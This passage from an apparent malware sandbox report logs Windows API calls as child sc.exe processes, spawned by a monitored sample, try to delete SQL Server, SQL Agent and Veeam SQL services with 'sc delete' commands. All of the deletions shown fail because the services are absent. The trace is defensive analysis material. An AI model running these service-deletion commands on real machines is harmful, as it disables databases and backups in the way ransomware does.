1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\nB", lpUsedDefaultChar=0x0) returned 98 [0065.240] WriteFile (in: hFile=0x120, lpBuffer=0x428ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f6f8, lpOverlapped=0x0 | out: lpBuffer=0x428ea0*, lpNumberOfBytesWritten=0x22f6f8*=0x62, lpOverlapped=0x0) returned 1 [0065.240] LocalFree (hMem=0x428ea0) returned 0x0 [0065.241] LocalFree (hMem=0x428dc0) returned 0x0 [0065.241] LocalFree (hMem=0x0) returned 0x0 [0065.241] CloseServiceHandle (hSCObject=0x4243e0) returned 1 [0065.244] exit (_Code=1060) Thread: id = 41 os_tid = 0xab4 Process: id = "21" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x38815000" os_pid = "0x568" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"SQLAgent$VEEAMSQL2012\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 42 os_tid = 0x6fc [0065.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcf970 | out: lpSystemTimeAsFileTime=0xcf970*(dwLowDateTime=0xe97adc50, dwHighDateTime=0x1d62701)) [0065.491] GetCurrentProcessId () returned 0x568 [0065.491] GetCurrentThreadId () returned 0x6fc [0065.491] GetTickCount () returned 0x1147687 [0065.491] QueryPerformanceCounter (in: lpPerformanceCount=0xcf978 | out: lpPerformanceCount=0xcf978*=18568972570) returned 1 [0065.493] GetModuleHandleW (lpModuleName=0x0) returned 0xff020000 [0065.493] __set_app_type (_Type=0x1) [0065.493] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff027228) returned 0x0 [0065.493] __wgetmainargs (in: _Argc=0xff02b604, _Argv=0xff02b610, _Env=0xff02b608, _DoWildCard=0, _StartInfo=0xff02b050 | out: _Argc=0xff02b604, _Argv=0xff02b610, _Env=0xff02b608) returned 0 [0065.494] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.500] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.500] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0065.500] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0065.500] _wcsicmp (_String1="delete", _String2="query") returned -13 [0065.500] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0065.500] _wcsicmp (_String1="delete", _String2="start") returned -15 [0065.500] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0065.500] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0065.500] _wcsicmp (_String1="delete", _String2="control") returned 1 [0065.500] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0065.500] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0065.500] _wcsicmp (_String1="delete", _String2="config") returned 1 [0065.500] _wcsicmp (_String1="delete", _String2="description") returned -7 [0065.500] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0065.500] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0065.500] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0065.500] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0065.500] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0065.500] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0065.500] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0065.500] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0065.500] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0065.500] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0065.501] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0065.501] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0065.501] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0065.501] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0065.501] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0065.501] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0065.501] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0065.501] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0065.501] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1b43f0 [0065.507] OpenServiceW (hSCManager=0x1b43f0, lpServiceName="SQLAgent$VEEAMSQL2012", dwDesiredAccess=0x10000) returned 0x0 [0065.508] GetLastError () returned 0x424 [0065.508] _itow (in: _Dest=0x424, _Radix=849880 | out: _Dest=0x424) returned="1060" [0065.508] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff02b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0065.510] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcf790, nSize=0x2, Arguments=0xcf7c0 | out: lpBuffer="跐\x1b") returned 0x62 [0065.511] GetFileType (hFile=0x120) returned 0x3 [0065.511] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1b8eb0 [0065.511] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1b8eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1b", lpUsedDefaultChar=0x0) returned 98 [0065.511] WriteFile (in: hFile=0x120, lpBuffer=0x1b8eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcf738, lpOverlapped=0x0 | out: lpBuffer=0x1b8eb0*, lpNumberOfBytesWritten=0xcf738*=0x62, lpOverlapped=0x0) returned 1 [0065.511] LocalFree (hMem=0x1b8eb0) returned 0x0 [0065.511] LocalFree (hMem=0x1b8dd0) returned 0x0 [0065.511] LocalFree (hMem=0x0) returned 0x0 [0065.511] CloseServiceHandle (hSCObject=0x1b43f0) returned 1 [0065.521] exit (_Code=1060) Thread: id = 43 os_tid = 0xbdc Process: id = "22" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3841a000" os_pid = "0xbd0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete MSSQL" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 44 os_tid = 0xbd4 [0065.579] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fd50 | out: lpSystemTimeAsFileTime=0x22fd50*(dwLowDateTime=0xe9892490, dwHighDateTime=0x1d62701)) [0065.579] GetCurrentProcessId () returned 0xbd0 [0065.579] GetCurrentThreadId () returned 0xbd4 [0065.580] GetTickCount () returned 0x11476e5 [0065.580] QueryPerformanceCounter (in: lpPerformanceCount=0x22fd58 | out: lpPerformanceCount=0x22fd58*=18577872728) returned 1 [0065.582] GetModuleHandleW (lpModuleName=0x0) returned 0xffb00000 [0065.582] __set_app_type (_Type=0x1) [0065.582] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffb07228) returned 0x0 [0065.582] __wgetmainargs (in: _Argc=0xffb0b604, _Argv=0xffb0b610, _Env=0xffb0b608, _DoWildCard=0, _StartInfo=0xffb0b050 | out: _Argc=0xffb0b604, _Argv=0xffb0b610, _Env=0xffb0b608) returned 0 [0065.583] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.585] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.585] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0065.585] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0065.585] _wcsicmp (_String1="delete", _String2="query") returned -13 [0065.585] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0065.585] _wcsicmp (_String1="delete", _String2="start") returned -15 [0065.586] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0065.586] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0065.586] _wcsicmp (_String1="delete", _String2="control") returned 1 [0065.586] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0065.586] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0065.586] _wcsicmp (_String1="delete", _String2="config") returned 1 [0065.586] _wcsicmp (_String1="delete", _String2="description") returned -7 [0065.586] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0065.586] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0065.586] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0065.586] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0065.586] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0065.586] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0065.586] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0065.586] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0065.586] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0065.586] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0065.586] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0065.586] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0065.586] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0065.586] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0065.586] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0065.586] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0065.586] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0065.586] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0065.586] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2c4370 [0065.591] OpenServiceW (hSCManager=0x2c4370, lpServiceName="MSSQL", dwDesiredAccess=0x10000) returned 0x0 [0065.591] GetLastError () returned 0x424 [0065.591] _itow (in: _Dest=0x424, _Radix=2292664 | out: _Dest=0x424) returned="1060" [0065.591] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffb0b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0065.593] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22fb70, nSize=0x2, Arguments=0x22fba0 | out: lpBuffer="跀,") returned 0x62 [0065.594] GetFileType (hFile=0x120) returned 0x3 [0065.594] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2c8ea0 [0065.594] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2c8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n,", lpUsedDefaultChar=0x0) returned 98 [0065.594] WriteFile (in: hFile=0x120, lpBuffer=0x2c8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22fb18, lpOverlapped=0x0 | out: lpBuffer=0x2c8ea0*, lpNumberOfBytesWritten=0x22fb18*=0x62, lpOverlapped=0x0) returned 1 [0065.594] LocalFree (hMem=0x2c8ea0) returned 0x0 [0065.594] LocalFree (hMem=0x2c8dc0) returned 0x0 [0065.594] LocalFree (hMem=0x0) returned 0x0 [0065.594] CloseServiceHandle (hSCObject=0x2c4370) returned 1 [0065.597] exit (_Code=1060) Thread: id = 45 os_tid = 0xb60 Process: id = "23" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3731f000" os_pid = "0x1c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete SQLAgent" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 46 os_tid = 0x5f4 [0065.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14f8d0 | out: lpSystemTimeAsFileTime=0x14f8d0*(dwLowDateTime=0xe992aa10, dwHighDateTime=0x1d62701)) [0065.649] GetCurrentProcessId () returned 0x1c4 [0065.649] GetCurrentThreadId () returned 0x5f4 [0065.649] GetTickCount () returned 0x1147723 [0065.649] QueryPerformanceCounter (in: lpPerformanceCount=0x14f8d8 | out: lpPerformanceCount=0x14f8d8*=18584796886) returned 1 [0065.650] GetModuleHandleW (lpModuleName=0x0) returned 0xffba0000 [0065.650] __set_app_type (_Type=0x1) [0065.650] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffba7228) returned 0x0 [0065.651] __wgetmainargs (in: _Argc=0xffbab604, _Argv=0xffbab610, _Env=0xffbab608, _DoWildCard=0, _StartInfo=0xffbab050 | out: _Argc=0xffbab604, _Argv=0xffbab610, _Env=0xffbab608) returned 0 [0065.651] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.653] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.653] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0065.653] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0065.653] _wcsicmp (_String1="delete", _String2="query") returned -13 [0065.653] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0065.653] _wcsicmp (_String1="delete", _String2="start") returned -15 [0065.653] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0065.653] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0065.653] _wcsicmp (_String1="delete", _String2="control") returned 1 [0065.653] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0065.653] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0065.653] _wcsicmp (_String1="delete", _String2="config") returned 1 [0065.653] _wcsicmp (_String1="delete", _String2="description") returned -7 [0065.653] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0065.653] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0065.653] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0065.653] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0065.653] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0065.653] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0065.653] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0065.653] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0065.653] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0065.653] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0065.653] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0065.654] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0065.654] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0065.654] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0065.654] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0065.654] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0065.654] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0065.654] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0065.654] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1b4370 [0065.657] OpenServiceW (hSCManager=0x1b4370, lpServiceName="SQLAgent", dwDesiredAccess=0x10000) returned 0x0 [0065.658] GetLastError () returned 0x424 [0065.658] _itow (in: _Dest=0x424, _Radix=1374008 | out: _Dest=0x424) returned="1060" [0065.658] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffbab740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0065.659] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x14f6f0, nSize=0x2, Arguments=0x14f720 | out: lpBuffer="跀\x1b") returned 0x62 [0065.660] GetFileType (hFile=0x120) returned 0x3 [0065.660] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1b8ea0 [0065.660] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1b8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1b", lpUsedDefaultChar=0x0) returned 98 [0065.660] WriteFile (in: hFile=0x120, lpBuffer=0x1b8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x14f698, lpOverlapped=0x0 | out: lpBuffer=0x1b8ea0*, lpNumberOfBytesWritten=0x14f698*=0x62, lpOverlapped=0x0) returned 1 [0065.660] LocalFree (hMem=0x1b8ea0) returned 0x0 [0065.660] LocalFree (hMem=0x1b8dc0) returned 0x0 [0065.660] LocalFree (hMem=0x0) returned 0x0 [0065.660] CloseServiceHandle (hSCObject=0x1b4370) returned 1 [0065.661] exit (_Code=1060) Thread: id = 47 os_tid = 0x5e4 Process: id = "24" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37a24000" os_pid = "0xb28" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete MSSQLServerADHelper100" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 48 os_tid = 0xb5c [0065.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcfb50 | out: lpSystemTimeAsFileTime=0xcfb50*(dwLowDateTime=0xe99c2f90, dwHighDateTime=0x1d62701)) [0065.715] GetCurrentProcessId () returned 0xb28 [0065.715] GetCurrentThreadId () returned 0xb5c [0065.715] GetTickCount () returned 0x1147762 [0065.715] QueryPerformanceCounter (in: lpPerformanceCount=0xcfb58 | out: lpPerformanceCount=0xcfb58*=18591345496) returned 1 [0065.716] GetModuleHandleW (lpModuleName=0x0) returned 0xff6d0000 [0065.717] __set_app_type (_Type=0x1) [0065.717] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff6d7228) returned 0x0 [0065.717] __wgetmainargs (in: _Argc=0xff6db604, _Argv=0xff6db610, _Env=0xff6db608, _DoWildCard=0, _StartInfo=0xff6db050 | out: _Argc=0xff6db604, _Argv=0xff6db610, _Env=0xff6db608) returned 0 [0065.718] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.720] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.720] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0065.720] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0065.720] _wcsicmp (_String1="delete", _String2="query") returned -13 [0065.720] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0065.720] _wcsicmp (_String1="delete", _String2="start") returned -15 [0065.720] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0065.720] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0065.720] _wcsicmp (_String1="delete", _String2="control") returned 1 [0065.720] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0065.720] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0065.720] _wcsicmp (_String1="delete", _String2="config") returned 1 [0065.720] _wcsicmp (_String1="delete", _String2="description") returned -7 [0065.720] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0065.720] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0065.720] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0065.720] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0065.720] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0065.720] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0065.720] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0065.720] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0065.721] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0065.721] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0065.721] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0065.721] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0065.721] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0065.721] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0065.721] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0065.721] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0065.721] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0065.721] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0065.721] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1b43f0 [0065.725] OpenServiceW (hSCManager=0x1b43f0, lpServiceName="MSSQLServerADHelper100", dwDesiredAccess=0x10000) returned 0x0 [0065.726] GetLastError () returned 0x424 [0065.726] _itow (in: _Dest=0x424, _Radix=850360 | out: _Dest=0x424) returned="1060" [0065.726] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff6db740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0065.728] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcf970, nSize=0x2, Arguments=0xcf9a0 | out: lpBuffer="跐\x1b") returned 0x62 [0065.728] GetFileType (hFile=0x120) returned 0x3 [0065.729] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1b8eb0 [0065.729] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1b8eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1b", lpUsedDefaultChar=0x0) returned 98 [0065.729] WriteFile (in: hFile=0x120, lpBuffer=0x1b8eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcf918, lpOverlapped=0x0 | out: lpBuffer=0x1b8eb0*, lpNumberOfBytesWritten=0xcf918*=0x62, lpOverlapped=0x0) returned 1 [0065.729] LocalFree (hMem=0x1b8eb0) returned 0x0 [0065.729] LocalFree (hMem=0x1b8dd0) returned 0x0 [0065.729] LocalFree (hMem=0x0) returned 0x0 [0065.729] CloseServiceHandle (hSCObject=0x1b43f0) returned 1 [0065.731] exit (_Code=1060) Thread: id = 49 os_tid = 0xb80 Process: id = "25" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37c29000" os_pid = "0xb40" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete MSSQLServerOLAPService" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 50 os_tid = 0x34c [0065.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afb90 | out: lpSystemTimeAsFileTime=0x1afb90*(dwLowDateTime=0xe9a81670, dwHighDateTime=0x1d62701)) [0065.793] GetCurrentProcessId () returned 0xb40 [0065.793] GetCurrentThreadId () returned 0x34c [0065.793] GetTickCount () returned 0x11477b0 [0065.793] QueryPerformanceCounter (in: lpPerformanceCount=0x1afb98 | out: lpPerformanceCount=0x1afb98*=18599171561) returned 1 [0065.817] GetModuleHandleW (lpModuleName=0x0) returned 0xff180000 [0065.817] __set_app_type (_Type=0x1) [0065.817] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff187228) returned 0x0 [0065.818] __wgetmainargs (in: _Argc=0xff18b604, _Argv=0xff18b610, _Env=0xff18b608, _DoWildCard=0, _StartInfo=0xff18b050 | out: _Argc=0xff18b604, _Argv=0xff18b610, _Env=0xff18b608) returned 0 [0065.818] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.821] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.821] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0065.821] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0065.821] _wcsicmp (_String1="delete", _String2="query") returned -13 [0065.821] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0065.821] _wcsicmp (_String1="delete", _String2="start") returned -15 [0065.821] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0065.821] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0065.821] _wcsicmp (_String1="delete", _String2="control") returned 1 [0065.821] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0065.821] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0065.821] _wcsicmp (_String1="delete", _String2="config") returned 1 [0065.821] _wcsicmp (_String1="delete", _String2="description") returned -7 [0065.821] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0065.821] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0065.821] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0065.821] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0065.821] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0065.821] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0065.821] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0065.821] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0065.821] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0065.822] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0065.822] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0065.822] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0065.822] 